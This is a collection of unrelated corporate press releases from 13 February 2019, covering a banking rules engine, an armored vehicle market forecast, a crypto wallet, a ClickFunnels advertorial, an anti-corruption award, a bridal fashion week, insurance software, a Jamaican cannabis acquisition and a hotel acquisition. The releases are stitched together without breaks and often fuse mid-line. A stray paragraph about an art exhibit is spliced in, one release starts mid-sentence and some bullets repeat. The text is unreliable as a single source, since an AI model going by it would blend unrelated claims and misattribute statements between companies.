Greg Watson, Global Head of Sales, Fenergo, said: "Banks and financial institutions are undergoing a major shift where the experience their customers receive now takes precedence. Simultaneously we're seeing increasing demand for an out-of-the-box rules engine that would complement existing CLM infrastructures. Fenergo's externally validated Rules as a Service supports financial services providers in complying with regulatory obligations while liberating them to focus on the delivery of optimum customer experiences."

Hosted on Amazon Web Services, the highly configurable API-enabled rules engine utilizes client data in rules calculations and leverages Fenergo's market leading regulatory content. This provides financial firms with a robust, auditable, easily maintained compliance solution, future proofing them against evolving regulations including KYC, AML, Foreign Accountant Tax Compliance Act (FATCA), Common Reporting Standard (CRS), Securities Financing Transaction Regulation (SFTR), GDPR and MiFID ii.

Sang Lee, Co-Founder and Managing Partner, Aite Group, said: "Financial institutions are under increased pressure to improve customer experiences while at the same time keep up with complex regulatory requirements. Fenergo's heritage as a leader in regulatory technology makes it perfectly placed to support financial firms in their digital transformation journeys while helping them keep on top of compliance."

To discover more about Fenergo Rules as a Service register here for our webinar.

Fenergo (www.fenergo.com)

Fenergo is the digital enabler of client and regulatory technology for financial services. It provides digital Client Lifecycle Management (CLM) software solutions for Financial Institutions including; Corporate & Institutional Banking, Commercial & Retail Banking, Asset Management & Asset Servicing, Private Banking & Wealth Management. Counting 70+ global Financial Institutions as clients, its award-winning CLM suite digitally transforms how Financial Institutions manage clients; from initial onboarding to KYC/AML and regulatory compliance, to data management and ongoing lifecycle KYC reviews and refreshes. Fenergo CLM empowers financial institutions to deliver a faster, compliant and digital customer experience while achieving a single client view across channels, products, business lines and jurisdictions.

Fenergo's community-based approach to product development allows clients to collaborate on solution design on a global scale. Its rules-driven solution ensures compliance with multiple global and local regulatory frameworks including AML, KYC, SFTR, Tax (CRS, FATCA, 871M), OTC Derivatives (EMIR, Dodd-Frank, MiFID II, Margin Requirements) and data privacy rules (GDPR). It supports the collection, centralization and sharing of client and counterparty data and documentation across the institution and deploys an API-first approach to advanced integration with a host of external KYC, AML and entity data providers, KYC and industry utilities. The solution is underpinned by next generation Artificial Intelligence, Robotics Process Automation and Machine Learning technologies, using advanced OCR and NLP capabilities to extract information, expedite compliance and improve operational efficiencies.

[i] https://www.fenergo.com/whitepaper/clm-industry-trends-report-part-one-cost-of-poor-cx.htmlSAN FRANCISCO, Feb. 13, 2019 /PRNewswire/ --

The global armored vehicle market size is expected to reach USD 36.4 billion by 2025, registering a CAGR of 5.4% from 2019 to 2025, according to a new study conducted by Grand View Research, Inc. Growing internal and external terrorist activities across the globe are expected to drive market demand over the forecast period. Technological advancements such as unmanned vehicles are expected to further fuel market growth.

Key suggestions from the report:

By product, the Main Battle Tanks (MBT) segment is anticipated to exhibit the highest CAGR of 5.9% from 2019 to 2025 owing to improved firing abilities of MBTs even while moving at high speeds

On the basis of application, the commercial segment is anticipated to register the highest CAGR of 5.8% from 2019 to 2025. This growth can be attributed to increasing adoption of commercial armored vehicle by banks to transfer money

The Asia Pacific region is expected to continue to dominate the market over the forecast period and is anticipated to reach USD 11.9 billion by 2025 owing to increase in border or terrorism threats and expanding defense budgets of countries such as India , China , and Russia

Key industry participants include BAE Systems; BMW AG; Daimler AG ( Mercedes Benz ); Elbit Systems; Ford Motor Company; General Dynamics Corporation; INKAS Armored Vehicle Manufacturing; International Armored Group; IVECO; Krauss-Maffei Wegmann GmbH & Co. (KMW); Lenco Industries, Inc.; Lockheed Martin Corporation; Navistar, Inc.; Oshkosh Defense, LLC; Rheinmetall AG; STAT, Inc.; Textron, Inc.; and Thales Group.

Read 201 page research report with TOC on "Armored Vehicle Market Size, Share & Trends Analysis Report By Product (Defense, Commercial), By Application (Main Battle Tanks, Armored Personnel Carrier), And Segment Forecasts, 2019 - 2025" at: https://www.grandviewresearch.com/industry-analysis/armored-vehicle-market

Armored vehicles are protected by layers of depleted uranium or stainless-steel and are equipped with robust weapons that combine defensive, tactical offensive, and operational mobility capabilities. Development of advanced vehicles and technologies such as unmanned armored vehicle and AI-based smart object recognition and tracking technology to be used in the military sector is expected to propel the market over the next few years.

Growing need to protect military recruits from land mines and fire is expected to drive demand for armored vehicles over the forecast period. Furthermore, demand for these vehicles is increasing in the Asia Pacific and Middle East and Africa regions owing to constant tension among neighboring countries and internal threats from rebels.

Connect with our analyst for specific inquiries about this market

Major market players are making massive investments in research and development programs to develop new technologies and products. Enhanced protection and fuel efficiency are key aspects considered for future developments in armored vehicles. For instance, in April 2018, BAE Systems developed a new version of the Armored Multi-Purpose Vehicle (AMPV), which was equipped with mine roller systems. The vehicle is widely used for protection against improvised explosive devices.

Grand View Research has segmented the global armored vehicle market on the basis of product, application, and region:

Armored Vehicle Application Outlook (Volume, Thousand Units; Revenue, USD Million, 2014 - 2025)

Defense



Commercial

Armored Vehicle Product Outlook (Volume, Thousand Units; Revenue, USD Million, 2014 - 2025)

Defense Armored Vehicle



Armored Personnel Carrier (APC)





Infantry Fighting Vehicles (IFV)





Light Protected Vehicles (LPV)





Main Battle Tanks (MBT)





Mine-resistant Ambush Protected (MRAP)





Tactical Vehicle





Others



Commercial Armored Vehicle



Bus/Van





Limousine





Sedan





SUV





Others

Armored Vehicle Regional Outlook (Volume, Thousand Units; Revenue, USD Million, 2014 - 2025)

North America



U.S.





Canada



Europe



Russia





U.K.



Asia Pacific



China





India





Japan



Latin America



Brazil



Middle East & Africa (MEA)

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Connected Car Market - The global connected car market size was estimated at over USD 24 billion in 2014 and is expected to grow at a CAGR of approximately 28% over the forecast period.

The global connected car market size was estimated at over in 2014 and is expected to grow at a CAGR of approximately 28% over the forecast period. Pneumatic Tire Market - The global pneumatic tire market size was USD 192.40 billion in 2014 is expected to witness significant growth over the forecast period on account rising demand from automotive industry.

The global pneumatic tire market size was in 2014 is expected to witness significant growth over the forecast period on account rising demand from automotive industry. Hybrid Vehicles Market - The global hybrid vehicles market is poised for substantial growth over the forecast period owing to the need for addressing consumers' needs pertaining to fuel expenditure reduction and mandatory compliance with CO2 emissions norms.

About Grand View Research

Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead.

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Follow Us: LinkedIn | TwitterThough many letters refer to tragedies, nearly all are honeycombed with tenderness. Viewers may come away feeling calmer and more peaceful. Thats no accident; the exhibit represents the artists attempt to heal himself after the death of his eldest daughter, who died at age 24 from an overdose of heroin and cocaine. The show contain three letters written to Elisif Bruun by her father, including one composed during a period when he was temporarily caring for the pet she named Ludacat.-- The new JET8 Wallet connects users around the world to social community apps that allow them to earn from their social media content, and gives them access to JET8's vast liquidity network

-- J8T token holders can now send, receive, hold or spend their J8T tokens in a native, proprietary custom-developed Wallet connected to the JET8 ecosystem

SINGAPORE, Feb. 13, 2019 /PRNewswire/ -- Tokenised social engagement technology platform JET8 today announced the launch of the new JET8 Wallet, JET8's "connect and transact" hub for all users owning J8T tokens, users of JET8's DENapps, as well as both online and offline retailers.

Photo - https://mma.prnewswire.com/media/821413/JET8_Wallet.jpg



Designed to give users a safe, seamless and pleasant experience, the JET8 Wallet is a secure custodian app for those wanting to safekeep their J8T tokens, earn rewards, and buy real-life products.

Similar to Coinbase, average users don't have to worry about how to store private keys. List of uses for the new JET8 Wallet include:

Sending or receiving J8T Tokens between wallets and friends;

Receiving JETPoints from brands based on social engagement from user generated content;

Purchasing consumer goods from over 30,000 points of sale worldwide;

Purchasing collectibles and artwork;

Purchasing JETPoints using multiple payment methods;

Discovering multiple social communities applications ("DENapps") that are being built using the JET8 ENTERPRISE SaaS API for agencies and brands; and

Using the JET8 Wallet as a gateway to earning social currency.

The JET8 Wallet is programmed with real-time sync. Transaction lists simply update automatically, all driven by in-house built smart contracts. The easy two-step activation of the JET8 Wallet is tied to KYC approval by an industry-leading service.

The first social currency wallet made for shopping real products no matter where you are.

The new unified JET8 ENTERPRISE e-commerce protocol allows brands, retailers, and telecommunication partners worldwide to offer wallet users with a vast liquidity network of real-life consumer products and services.

A revolutionary feature of the JET8 Wallet is allowing users to purchase mobile data or "load" top-ups and recharges in any country around the world. This feature emphasises JET8's mission to bring its "social wallet" to everyone, regardless of what country they are from, by allowing users to access mobile network connectivity from their wallets or as a reward from their social media engagement.

The JET8 Wallet is connected to over 30,000 offline points of sale where users can buy goods from. Retailers already accepting JETPoints and the JET8 Wallet around the world are:

7-Eleven ( Philippines )

) Circle K ( Indonesia )

) Shop & Go ( Vietnam )

) Alfamart ( Indonesia )

) Lazada ( Philippines )

) Watsons ( Philippines )

) Shoprite ( South Africa )

) Checkers ( South Africa )

Users can also purchase exclusive collectibles, printed on demand, and delivered worldwide.

JET8 Founder Victor Zabrockis, said: "Our mission is to connect thousands of mobile-first communities with a one-stop shop financial system for users, brands, retailers and influencers. We are proud to help people convert their social influence into digital currency through a full custodian ERC20/J8T crypto wallet. It does not matter if one is a well-versed crypto lover or just an average mobile user curious about blockchain, we've built the JET8 Wallet with everyone in mind."

To download the JET8 Wallet, visit https://wallet.jet8.io/.

ABOUT JET8

JET8 is the world's first tokenised peer-to-peer social engagement technology platform (SaaS) for brands, agencies, communities, and influencers. JET8's DENapps turn social media users into empowered creators and consumers, and allow brands and agencies to target, publish, and track the life of branded content.

For every like, comment, and share, users creating content for brands are rewarded for their influence with JET8's social currency, JETPoints. With JETPoints, users can redeem products online or over-the-counter across more than 30,000 retail stores around the world, including Watsons, Circle K, and 7-Eleven.

JET8 technology has been live since 2015 and is currently utilised by over 50 global brands and marketers including Procter & Gamble, Unilever, Nestle, Coca-Cola, Pepsi and McDonald's. It is one of the first real businesses to adopt the blockchain to log real-life transactions.

For more information, visit https://jet8.io/.LOS ANGELES, CA / ACCESSWIRE / February 13, 2019 / Little do potential titans realize the intricacies of building websites, installing shopping cart software and preparing their business for success. For many people, email integration, social media, and marketing concepts are a foreign language. In steps in ClickFunnels and Russell Brunson. Helping ambitious and talented individuals make their run at success with this outstanding digital marketing program literally tailored for all.

Anyone with an idea but not the expertise can use ClickFunnels to launch or broaden their business. The service provides strategic business processes or funnels that entrepreneurs can apply, to compensate for lack of experience.

What is a Sales Funnel

Simply put a sales funnel is an automated process that leads to a sale. Funnels can be big, or small, and when they are done correctly the right mix of traffic leads you to success. A great video to watch that explains what a sales funnel is can be found right here.

What Is ClickFunnels

ClickFunnels, who currently offers a 14 day free-trial offer builds software that allows entrepreneurs to manage any of several funnels to develop a distinct part of their business. With no prior experience in design or coding, ClickFunnels lets everyone build their own sales channels effortlessly. The software includes a list of templates that enable users to create custom designed pages by adding various elements from a list. They can also select the webinar sales funnel or the automated webinar sales funnel using the set up inside Clickfunnels. Medium, large or small businesses can apply the software to enhance every part of their organization.

In just four brief years, ClickFunnels has grown to over 55,000 customers and can count over 200 millionaires among them. Founder Russell Brunson has built the fastest growing non-venture backed software company in the world. Brunson began his business at the age of 12 when he collected direct mail flyers. Throughout college, his hobby developed into an obsession. He sold everything from supplements to books. Founding ClickFunnels was Russell Brunson's next logical step.

The key to prosperity for Russell Brunson and his ClickFunnels Software is empowering others to a victorious life. It is natural for potential entrepreneurs to acknowledge defeat if they have no goals or focus. Brunson has created a juggernaut of encouragement for anyone willing to read and listen.

Expert Secrets: This book discusses the appropriate message at the right time to enhance an individual's life. Expert Secrets helps to get an encouraging message out to those most in need of a reforming hand.

DOTCOM Secrets: A playbook for increasing traffic and converting. The book encourages the entrepreneur to recognize why they are not getting traffic and works to improve the fundamental issues.

The Funnel Hackers Cookbook: Funnel recipes to grow any business. This is the handbook for everyone thinking of using ClickFunnels. It is easy-to-understand building blocks to attain success.

There is a way to obtain these books for free by going through FordFunnels.com

Proven Results

Plenty of companies publicize their achievement with the ClickFunnels software. Among them are Tony Robbins, Danielle Ford, Caleb Maddox and JucingVegatables.net.

Tony Robbins, who needs no introduction, uses the software to get his message out to the masses and market more of his Self-Help programs. He continually endorses Brunson and ClickFunnels software.



Danielle Ford, a video and marketing strategist has utilized ClickFunnels in her path to success. Her websites Funnelin5.com and FordFunnels.com are excellent examples of a dynamic entrepreneur harnessing the power of ClickFunnels. Ford has used the software to promote her training videos and most recently acknowledged using ClickFunnels as a way to win a Trustee seat on the Clark County School Board.

Danielle Ford

Caleb Maddox, a rising entrepreneur, applies the ClickFunnels software to influence millions of people. By the age of 15, Maddox utilized ClickFunnels to create several online businesses and make several hundreds of thousands of dollars. Among his awards, Maddox has earned the recognition of 'Top Entrepreneurs under 30" and "The Top 20 Most Motivational People on the Planet."

How To Try ClickFunnels



ClickFunnels gives any potential user the knowledge to get started with the software. There are several membership opportunities and new users can have a 14-day free trial to make sure the software is what your business needs. With the free trial, you can get a sense of the software, choose a funnel and test all the options and templates. The trial gives you ample time and allows potential users to make certain they have a clear grasp of the ClickFunnels software before committing.



Russell Brunson has created a direction of success, for anyone who dreams of owning a business. ClickFunnels has it all.

Contact:

John Stock

Pink Media

619-343-3199

SOURCE: Pink Media Group

View source version on accesswire.com:https://www.accesswire.com/535186/ClickFunnels-Trial-Paves-the-Path-to-Online-Sales-SuccessWinners of the second global Shield in the Cloud anti-corruption innovation challenge will be revealed at the event on the 20th March

C5 also announces that Derek Maltz is to join the Challenge's prestigious judging panel

C5, the specialist venture capital firm focused on investing in cybersecurity, cloud and artificial intelligence, has announced that Preet Bharara, former United States Attorney for the Southern District of New York, will be the keynote speaker at the gala dinner announcing the winner of C5's annual Shield in the Cloud, the global anti-corruption innovation challenge. The dinner will be held on the 20th March 2019 in Washington D.C.

Preet served as the United States Attorney for the Southern District of New York from August 2009 to March 2017. During his tenure, he was responsible for a series of significant and systemically revelatory public corruption cases against members of New York City and State governments. Bharara is now a Distinguished Scholar in Residence at the New York University Law faculty, and his forthcoming book, "Doing Justice: A Prosecutor's Thoughts on Crime, Punishment, and the Rule of Law" is due to be released on the 19th March, 2019. At the dinner, he will engage the audience in a conversation around the need to push for greater transparency across businesses and governments, and why the rule of law is essential to our society, based on his experience in fighting corruption.

Preet Bharara said; "Corruption is a global issue that affects all of us in some way, whether or not we even realize it. Whether it be corruption in the supply chains that bring us our food, or on a grander scale in governments around the world, this issue is not going away. Technology and a greater awareness of the challenges are key weapons in our fight to combat corruption and it's competitions such as C5's Shield in the Cloud that are helping to provide a platform for companies and organizations of all shapes and sizes to work towards a corruption-free world. I'm pleased to have been invited to speak at the gala and wish all the entrants well."

C5 has also announced that Derek Maltz, the former Special Agent in Charge (SAC) of the Special Operations Division (SOD) of the Drug Enforcement Agency (DEA) will be joining the Challenge's prestigious judging panel. He will be tasked with identifying innovative solutions that combat global, political and corporate corruption and promote good governance. He joins an experienced group of legal, business and industry experts with expertise in national security, anti-corruption and innovation, including Lucinda Low, Kurt Scherer and Jay Collins and Andre Pienaar.

Andre Pienaar, Founder, C5 Capital said: "We are honored to have Preet Bahara as our keynote speaker. Preet is a global leader who has an unrivalled track record of innovating the fight against corruption and crime. It will be invaluable for our judging panel to have Derek Maltz's insights. Derek is a fearless front-line leader whose intrepid team in the DEA takes down some of the most dangerous organized crime syndicates in the world.

Jamie Lowther-Pinkerton, the Chairman of the CLC said "In C5 we believe that US cloud innovation opens up new possibilities to combat corruption and to fight poverty, globally. The Shield in the Cloud competition identifies and supports innovation leaders who combat corruption, often against the odds. Our alumni welcome the new entrants as part of a global network to help build sustainable and just societies worldwide."

Shield in the Cloud is an annual global anti-corruption innovation challenge designed to reward and recognize the leading and emerging startups that are harnessing the power of technology and innovation to fight corruption and improve transparency worldwide. The competition is now in its second year, and the winners will be announced at the dinner following Bharara's speech.

Nominations for the Awards will close on 25th February and applications can be made here.

--ENDS--

About C5

C5 Capital Limited (C5) is a specialist venture capital firm focused on investing in cybersecurity, cloud and artificial intelligence. C5 has offices in Washington, London, Munich, Luxembourg and Manama.

www.c5capital.com

C5 Accelerate is a London, Washington D.C. and Bahrain based technology investment firm. Its mission is to accelerate best of breed startups through its two accelerators, and to build a portfolio of early stage investments.

https://www.c5accelerate.com/

Twitter: @c5accelerate

Facebook: @c5.accelerate

Instagram: c5.accelerate

About Shield in the Cloud

The Shield in the Cloud global anti-corruption innovation challenge is aligned with Goal 16 of the United Nations' Global Sustainable Goal to promote just, peaceful and inclusive societies. This Goal seeks to hold institutions and governments accountable and transparent. It also aims to eliminate bribery and other forms of political and corporate corruption.

For more information on Shield in the Cloud, please visit: www.c5accelerate.com/shieldinthecloud

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005293/en/

Contacts:

For press enquiries

Emily Jones and Sheena Munsami

C5Capital@hudsonsandler.com

0207 796 4133BARCELONA, Spain, Feb. 13, 2019/PRNewswire/ -- Valmont, the Swiss high-end cosmetic company, and Barcelona Bridal Fashion Week, the world's leading bridal and evening wear fashion event, are combining their strengths, prestige and commitment to fashion, beauty and art to promote the bridal fashion industry, its internationalization and its leading platform which, as of this year, will be known as Valmont Barcelona Bridal Fashion Week.

The prestigious company, one of the major brands creating beauty products, will thus enhance its ties with the world of international fashion in tandem with Valmont Barcelona Bridal Fashion Week. Under this partnership, the two key players will create synergies to reinforce the links between creativity, art and beauty, to ensure that the best designers and their creations shine to the fullest at an event that will attract all the agents involved in international fashion.

In this regard, the CEO of Valmont South Middle Europe, Julien Michoud, states that "This alliance represents a milestone for us in the commitment to be renowned for its innovation in the beauty sector worldwide. The whole Valmont Group family is proud to be part of an important event such as the Valmont Barcelona Fashion Week in which women will play a central role."

According to Estermaria Laruccia, director of VBBFW, "It's a pleasure to welcome Valmont and its wonderful team. We share its passion for artistic expression in its different forms and its commitment to innovation combined with tradition."

Best brands in the spotlight

Valmont Barcelona Bridal Fashion Week, organised by Fira de Barcelona, will take place from 23 to 28 April 2019 in the Montjuic venue. Over the first four days, the fair will welcome the 2020 collections of some 30 brands on its catwalk, and from 26-28 the trade show will be held with the fashion designs for brides, grooms, the ceremony and accessories, featuring around 400 brands, 70% of whom are international. Among them, on this edition stands out Marchesa, one of the most glamorous and revered names in international fashion, who has chosen the world's leading show in bridal and evening wear for the exclusive presentation of their Marchesa Bridal Couture for Spring 2020 along with a selection of evening gowns, during Barcelona Bridal Night, the gala evening, to be held on 24 April.

Images here

Video here

Photo: https://mma.prnewswire.com/media/821009/Fira_de_Barcelona.jpg

Logo: https://mma.prnewswire.com/media/821010/Valmont_and_Barcelona_Bridal_Fashion_Week_Logo.jpg

Logo: https://mma.prnewswire.com/media/659718/Fira_Barcelona_Logo.jpgFirm Launches Digital Insurance Platform in Under 12 Months with Duck Creek OnDemand

Boston, Feb. 13, 2019and Duck Creek Billing, both delivered via Duck Creek OnDemand, the provider's SaaS solution for the P&C insurance industry, Cerity's solution can produce tailored quotes and deliver a policy in five minutes or less. Now offering coverage in Illinois with plans to expand to the rest of the country, Cerity's predictive pricing model has up to 100 price points, making each quote as unique as the businesses they protect.

Starting with no infrastructure and only four employees, the challenge Cerity faced in building a fully-functional insurance solution in minimal time was significant. The company sought off-the-shelf solutions for all aspects of their business, which the carrier credits with much of their speed to market. In addition to Duck Creek Policy and Billing, Cerity also leveraged Duck Creek Industry Content, taking advantage of NCCI templates to stand up complete products with full regulatory compliance with minimal time and effort. And to add further differentiation in the market, the company utilized the Duck Creek Anywhere API, which allowed them to build a proprietary user experience on top of their technology stack without making any compromises in functionality.

"Insurers that embrace a transformational lens to customer experience are achieving significant successes when it comes to small business," said Karen Furtado, Partner at Strategy Meets Action. "Cerity has applied an 'outside in' viewpoint to provide small business owners with a desirable user experience when shopping for insurance. That customer experience, combined with Duck Creek's platformcapability, is a strong combination to support the launch of Cerity's business."

"We saw an opportunity to seize the leadership position for small business owners desiring a fast, easy, and fully digital solution," said Tracey Berg, President of Cerity Services and EVP & Chief Innovation Officer of Employers Holdings, Inc. "Starting with no infrastructure and four employees, we designed, built, and launched a digital insurance solution that allows small business owners to purchase workers' compensation insurance in five minutes or less. Within a year, we had a policy and billing system ready for production using Duck Creek Policy, Duck Creek Billing, and Duck Creek OnDemand. We stayed out-of-the-box and leveraged the power of the productto enable an accelerated implementation."

"Consumers are voting with their wallet and moving online in droves. This has triggered increased investments to build the kinds of omni-channel services necessary to meet their needs," said Karlyn Carnahan, head of the Americas for Celent's property & casualty business. "To be successful here, an insurer has to have a streamlined process, a slick user interface, minimal data input, tailored advice, and real-time decisions. Insurers need to move quickly if they want to capture a first-mover advantage."

All the components and capabilities carriers need to quickly move from concept, development, and implementation to go-live production are included with Duck Creek OnDemand. Continuous management includes easy upgrades to the latest Duck Creek products and automatic circular contentassets ensure that carriers get the implementation jumpstarts, accelerators, and up-to-date data they need to get to market quickly.

"All P&C insurers focus on speed to market as a differentiating factor," said Andy Dey, chief product and technology officer of Duck Creek. "But what Cerity has done is truly remarkable - they have built a fully-operational business from the ground up in less time than many insurers still shackled to legacy systems take to introduce a single new product. Duck Creek is excited to continue our relationship with Cerity and help them as their operation grows and expands - which we are confident will be a very fast process."

About Cerity

Founded with a bold vision to reimagine small business insurance, Cerity empowers business owners to quickly and easily protect their team, their assets and their livelihood through an online workers' compensation solution. With its digital-first approach, Cerity is transforming the entire process - from purchasing and maintaining coverage, to filing a claim - to be simple, fast, and easy. The company's proprietary pricing model produces tailored quotes within seconds, and can deliver a new policy in five minutes or less, enabling leaders to get back to what matters most - growing and scaling their operation. Cerity is currently available to small business owners in Illinois. Cerity Services, Inc. is a subsidiary of Employers Holdings, Inc..

About Duck Creek Technologies

Duck Creek Technologies paves a genuine path to the future for P&C insurance companies. Decades of insurance experience underpin advanced technologies specifically designed to accommodate change - allowing carriers to navigate uncertainty and capture market opportunities faster than their competitors. All of the company's offerings are available standalone or as a full suite, and all are available via Duck Creek OnDemand, the provider's SaaS solution for the P&C insurance industry. For more information, visit www.duckcreek.com.



Media Contact:

Paul Rechichi

Racepoint Global

617-624-3295

prechichi@racepointglobal.com

AttachmentJamaican Property and Tier-3 License assets will set up strong tourism and export markets

VANCOUVER, British Columbia, Feb. 13, 2019 /PRNewswire/ -- Weekend Unlimited Inc. ("Weekend" or the "Company") (CSE: POT) (FSE: 0OS1) (OTCMKTS: WKULF) having announced a Letter of Intent on 1 November 2018 to acquire R&D Pharma's Jamaican interests, has now entered into a definitive agreement with R&D Pharma, which is anticipated to close next week.

R&D Pharma ("RDP") is a Canadian company building a vertically integrated medical cannabis business in Jamaica. RDP has secured a Tier-3 Cultivator's License, which allows for full cultivation of cannabis plants on land of over 5 acres, which in this case applies to the 98-acre RDP property.

R&D Pharma Highlights include:

Approved Tier-3 cultivators license

Medical tourism in Jamaica , plus phenotyping with Jamaican sativas, to brand and export internationally recognized strains, extracts, and infused products

, plus phenotyping with Jamaican sativas, to brand and export internationally recognized strains, extracts, and infused products Will be a significant exporter of branded full spectrum extracts as well as extracted cannabinoids from one of world's lowest cost geographies for growing cannabis

"Upon signing this deal, we are excited to accelerate operations in Jamaica. There has been tremendous work accomplished on the property by the team on the ground and the cultivation results have been impressive in both quality and economically," noted Mr. Paul Chu, Weekend Unlimited President and CEO.

About Weekend Unlimited Inc.

Weekend Unlimited is capitalizing on its vast industry relationships to establish a lifestyle brand featuring premium products and delivering life's highest moments. The company aggregates and scales small to medium brands, primarily in the categories of flower, extracts and edibles. Weekend Unlimited brands have best of class operations, distribution and strong revenue trajectories, making them ideal candidates for the deployment of capital and expertise through access to technologies, infrastructure and centralized systems. Learn more at www.weekendunlimited.com

Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward Looking Statements

Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties. All statements other than statements of historical fact are forward-looking statements, including, without limitation, statements regarding future financial position, business strategy, use of proceeds, corporate vision, proposed acquisitions, partnerships, joint-ventures and strategic alliances and co-operations, budgets, cost and plans and objectives of or involving the Company. Such forward-looking information reflects management's current beliefs and is based on information currently available to management. Often, but not always, forward-looking statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "predicts", "intends", "targets", "aims", "anticipates" or "believes" or variations (including negative variations) of such words and phrases or may be identified by statements to the effect that certain actions "may", "could", "should", "would", "might" or "will" be taken, occur or be achieved. A number of known and unknown risks, uncertainties and other factors may cause the actual results or performance to materially differ from any future results or performance expressed or implied by the forward-looking information. These forward-looking statements are subject to numerous risks and uncertainties, certain of which are beyond the control of the Company including, but not limited to, the impact of general economic conditions, industry conditions and dependence upon regulatory approvals. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events, or otherwise, except as required by securities laws.Six Senses becomes the newest addition to one of the world's leading hotel companies

LONDON, Feb. 13, 2019 /PRNewswire/ -- IHG (InterContinental Hotels Group), one of the world's leading hotel companies, has welcomed a new family member to its portfolio of brands, with the acquisition of Six Senses Hotels Resorts Spas.

Six Senses is renowned for its focus on wellness and sustainability, with each hotel and resort set in locations of incredible natural beauty that will stop you in your tracks, delivering an uncompromising level of service that will stay with you long after you've left. All of which has been recognized through a host of industry awards and accolades* including Travel+Leisure (World Best Award, Top Hotel Brand for two years in a row), TIME Magazine, Conde Nast Traveler and Skift to name a few.

Featuring properties in 12 countries, Six Senses is behind some of the world's most enticing hotels, resorts and spas, including: a 19th-century wine estate in the Douro Valley (Portugal), breathtaking island resorts in the Seychelles and Maldives, beach-side retreats in Indonesia, Thailand, Vietnam and Oman, a city escape in Singapore, and residences in the mountains of Courchevel (France).

Six Senses joins a growing number of luxury brands in the IHG family, including:

InterContinental Hotels & Resorts , the world's largest luxury hotel brand, which recently celebrated the opening of its 200 th hotel and was named World's Leading Hotel Brand title for the 12 th time at the World Travel Awards (WTA). This is a brand dedicated to those who appreciate and enjoy The InterContinental Life - the glamour and exhilaration of fascinating places, mixed with international know-how and local cultural wisdom.

, the world's largest luxury hotel brand, which recently celebrated the opening of its 200 hotel and was named title for the 12 time at the World Travel Awards (WTA). This is a brand dedicated to those who appreciate and enjoy The InterContinental Life - the glamour and exhilaration of fascinating places, mixed with international know-how and local cultural wisdom. Regent Hotels & Resorts , also recently acquired and now undergoing a repositioning which celebrates the brand's deep luxury heritage and revered legacy. Born in 1970, this collection of modern hotels and resorts is rooted in extraordinary living, with a legacy of luxury that endures to this day.

, also recently acquired and now undergoing a repositioning which celebrates the brand's deep luxury heritage and revered legacy. Born in 1970, this collection of modern hotels and resorts is rooted in extraordinary living, with a legacy of luxury that endures to this day. Kimpton Hotels & Restaurants, the industry pioneer that first introduced the boutique concept to the U.S. The brand is now set to open in 20 new global destinations including Mexico City , Paris , Barcelona , Bali and Shanghai , each of which will showcase bold, playful design, award-winning dining and surprising amenities to ensure guests have the ultimate boutique hotel stay.

Across IHG's four leading luxury brands, guests can now enjoy nearly 300 luxury hotels around the world, with more than 100 set to open in the coming years.

As part of the IHG family, Six Senses is expected to expand to 60 properties within the next 10 years. This includes incredible new Six Senses hotels and resorts from a restored 14th-century fort in Rajasthan, to villas on a private island in Cambodia, and the brand's first hotel in North America - a contemporary duo of twisting towers designed by Bjarke Ingles near the High Line in Manhattan'sWest Chelsea.

IHG's Chief Executive Officer, Keith Barr, said: "IHG's growing portfolio of luxury brands is a collection of the very best in the travel industry. Each one offers something unique to our guests, and together they offer an unparalleled choice of locations and experiences. We're incredibly proud to welcome Six Senses into our family of brands and look forward to opening more stunning hotels, resorts and spas - each one staying true to Six Senses' world-renowned reputation for wellness and an unwavering commitment to purposeful travel."

Core to every Six Senses hotel and resort is a Six Senses Spa, where guests can relax, reconnect, and completely refresh. Guests are guided on a personal path to finding harmony and balance, to ensure positive and lasting benefits. Unique to the hospitality sector, Six Senses has also taken wellness out of the spa and integrated it across the entire stay, helping guests learn something new and reconnect with themselves, others, and the world around them.

"This is an exciting new era for Six Senses," said Six SensesChief Executive Officer, Neil Jacobs. "IHG believes in our purpose to merge the two platforms of wellness and sustainability to promote personal health, and the health of the planet. Joining forces with IHG means we can use a wealth of systems and operational excellence to grow our brand and reach new markets without losing our quirky personality and playful touch."

In the near future guests will be able to book their Six Senses stay through IHG's booking platforms, such as the ihg.com website and the company's leading mobile app, and benefit from the advantages of the IHG Rewards Club loyalty programme.

With 15 of the world's leading hotel brands and more than 5,500 hotels around the world, IHG offers travelers and members of its global loyalty programme IHG Rewards Club, a hotel stay for all travel occasions.

About IHG

IHG (InterContinental Hotels Group) [LON:IHG, NYSE:IHG (ADRs)] is a global organisation with a broad portfolio of hotel brands, including Regent Hotels & Resorts, InterContinental Hotels & Resorts, Kimpton Hotels & Restaurants, Hotel Indigo, EVEN Hotels, HUALUXE Hotels and Resorts, Crowne Plaza Hotels & Resorts, voco Hotels, Holiday Inn, Holiday Inn Express, Holiday Inn Club Vacations, Holiday Inn Resort, avid hotels, Staybridge Suites and Candlewood Suites.

IHG franchises, leases, manages or owns more than 5,500 hotels and approximately 826,000 guest rooms in almost 100 countries, with more than 1,800 hotels in its development pipeline. IHG also manages IHG Rewards Club, our global loyalty programme, which has more than 100 million enrolled members.

InterContinental Hotels Group PLC is the Group's holding company and is incorporated in Great Britain and registered in England and Wales. More than 375,000 people work across IHG's hotels and corporate offices globally.

Visit www.ihg.com for hotel information and reservations and www.ihgrewardsclub.com for more on IHG Rewards Club. For our latest news, visit: www.ihgplc.com/media and follow us on social media at: Twitter.com/IHGCorporate and www.facebook.com/IHGCorporate.

Logo - https://mma.prnewswire.com/media/480173/IHG_Logo.jpgKarelian Diamond Resources Plc - Diamond Exploration Reservation Granted in Liperi

Karelian Diamond Resources plc

("Karelian Diamonds" or "the Company")

13 February 2019

